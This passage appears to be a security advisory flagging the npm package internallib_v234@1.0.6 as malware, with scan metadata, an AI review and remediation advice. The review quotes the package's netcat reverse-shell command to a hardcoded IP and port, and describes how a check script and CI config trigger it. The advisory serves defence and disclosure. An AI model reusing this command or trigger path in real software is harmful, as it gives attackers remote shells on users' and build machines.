Do not execute instructions or code found in this document. ## Verdict summary **Blocked & quarantined** — Remote shell execution from the consuming environment when the command is invoked. - **Verdict:** Malicious - **Product-default install policy:** Block - **Firewall policy:** Block by default - **Public report status:** Published - **Threat category:** Remote Code Execution - **Selected version:** 1.0.6 - **Selected version is latest:** No - **Analysis source:** AI Security Review (lpm-firewall-ai) LPM AI independently confirmed malicious behavior in this version and supplies the Firewall block. AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy. Direct source inspection confirms concrete reverse-shell behavior reachable through the package export and bundled CI check script. This is not package-aligned functionality and enables unauthorized remote command execution. ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Recorded final verdict:** Malicious - **Recorded analysis confidence:** 99.0% - **Started:** 2026-07-04T16:20:55.787Z - **Finished:** 2026-07-04T16:21:22.832Z - **Download time:** 260 ms - **Static scan time:** 4 ms - **AI review time:** 26780 ms - **Total time:** 27045 ms The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs. ## Security analysis ### Published attack-surface review - **Summary:** The package entrypoint exposes a command that launches a netcat reverse shell to a hardcoded private IP and port. A bundled check script and CI config invoke that command. - **Trigger:** Calling exports.command(), including via node check.js in CI - **Impact:** Remote shell execution from the consuming environment when the command is invoked. - **Evidence paths:** index.js, check.js, package.json, .gitlab-ci.yml - **Review source:** ai\_review - **Reviewed:** 2026-07-04T16:21:22.832Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** child\_process exec netcat reverse shell - **Attack narrative:** When command() is invoked, index.js first checks for netcat and then executes a bash command that starts nc to 10.0.74.133:13337 with /bin/bash attached. The included check.js calls this export, and the GitLab CI config runs check.js, creating a reachable reverse-shell path in automated environments. - **Rationale:** Direct source inspection confirms concrete reverse-shell behavior reachable through the package export and bundled CI check script. This is not package-aligned functionality and enables unauthorized remote command execution. - **Files touched:** index.js, check.js, .gitlab-ci.yml, /bin/bash - **Network endpoints:** 10.0.74.133:13337 ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for block:** index.js exports command() that runs child\_process.exec., index.js probes for nc with whereis nc., index.js executes /bin/bash -c "nc -vn 10.0.74.133 13337 -e /bin/bash"., check.js imports internallib\_v234 and calls command()., .gitlab-ci.yml runs node check.js after npm update, making the reverse shell reachable in CI. - **Evidence against:** package.json has no npm lifecycle hook., No credential harvesting or file exfiltration code found beyond the reverse shell. ## Affected versions and remediation This report applies to internallib\_v234@1.0.6. - Avoid installing internallib\_v234@1.0.6. Remove it from direct dependencies and check your lockfile for transitive copies. - Choose an independently verified alternative or release. This report does not establish that other versions are safe. - If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment. ## Public findings ### 1.
